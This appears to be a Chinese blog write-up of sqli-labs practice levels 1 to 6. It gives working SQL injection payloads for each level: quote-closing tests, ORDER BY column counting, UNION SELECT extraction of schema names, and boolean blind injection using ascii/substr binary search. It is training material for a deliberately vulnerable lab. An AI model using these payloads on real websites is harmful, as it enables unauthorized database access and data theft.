Sqli-labs less1-6

Sqli-labs

为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:

less1:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1'报错,输入?id=1'--+正确,说明存在SQL注入,闭合方式是''

科普:order by x 表示按第x列排序,通过二分法可获取表中数据的列数

输入?id=1' order by 4--+报错,输入?id=1' order by 3--+正确,说明表中数据有3列

科普:union select 1,2,3可以使数据1、2、3回显,前提是前面的数据查找不到时,注意:查找不到=!报错

输入?id=1' union select 1,2,3--+正确,但未返回数据2和3,输入?id=-1' union select 1,2,3--+正确,且返回了数据2和3

科普:group_concat()一行显示输出的数据,concat_ws(0x7e,1,2)显示为1~2,结合使用使输出数据易读

输入?id=-1' union select 1,2,group_concat(concat_ws(schema_name,0x7e,0x7e)) from information_schema.schemata--+正确,且一行显示所有库名

less2:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1'报错,输入?id=1'--+还是报错,看一下回显的SQL语句,发现不用闭合,尝试order by语句,得到表中数据有3列,存在SQL注入,其余与less1同理

less3:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1')报错,输入?id=1')--+正确,说明存在SQL注入,闭合方式是(''),其余与less1同理

less4:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1")报错,输入?id=1")--+正确,说明存在SQL注入,闭合方式是(""),其余与less1同理

less5:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1'报错,输入?id=1'--+正确,说明存在SQL注入,闭合方式是''

输入?id=1' and 1=1--+显示You are in,输入?id=1' and 1=2--+不显示You are in,说明存在布尔盲注

科普:left((select database()),2)输出库名从左数前两位

输入?id=1' and left((database()),1)='s'显示You are in,说明库名从左数前一位是s,可以用burpsuite一位一位的跑库名

科普:IT中数据从0开始,limit 1,2输出从第2位起的2个数据

科普:substr((select database()),2,2)输出选中库名从左数第2位开始的2个字符

科普:ascii('s')输出选中字符的ascii值

使用二分法猜解库名:

输入?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>100--+显示You are in

输入?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>120--+不显示You are in

输入?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115--+显示You are in

说明库名第一个字符为s

less6:

判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1"报错,输入?id=1"--+正确,说明存在SQL注入,闭合方式是""

输入?id=1" and 1=1--+显示You are in,输入?id=1" and 1=2--+不显示You are in,说明存在布尔盲注,其余与less5同理

posted @ 2021-09-29 16:52  强霸卓奇霸  阅读(132)  评论(0)    收藏  举报
https://blog-static.cnblogs.com/files/xiaokang01/js.js 这是添加的文件的链接 color="240,230,140" 粒子的颜色设置 opacity="1" 粒子的透明度 count="75" 粒子的个数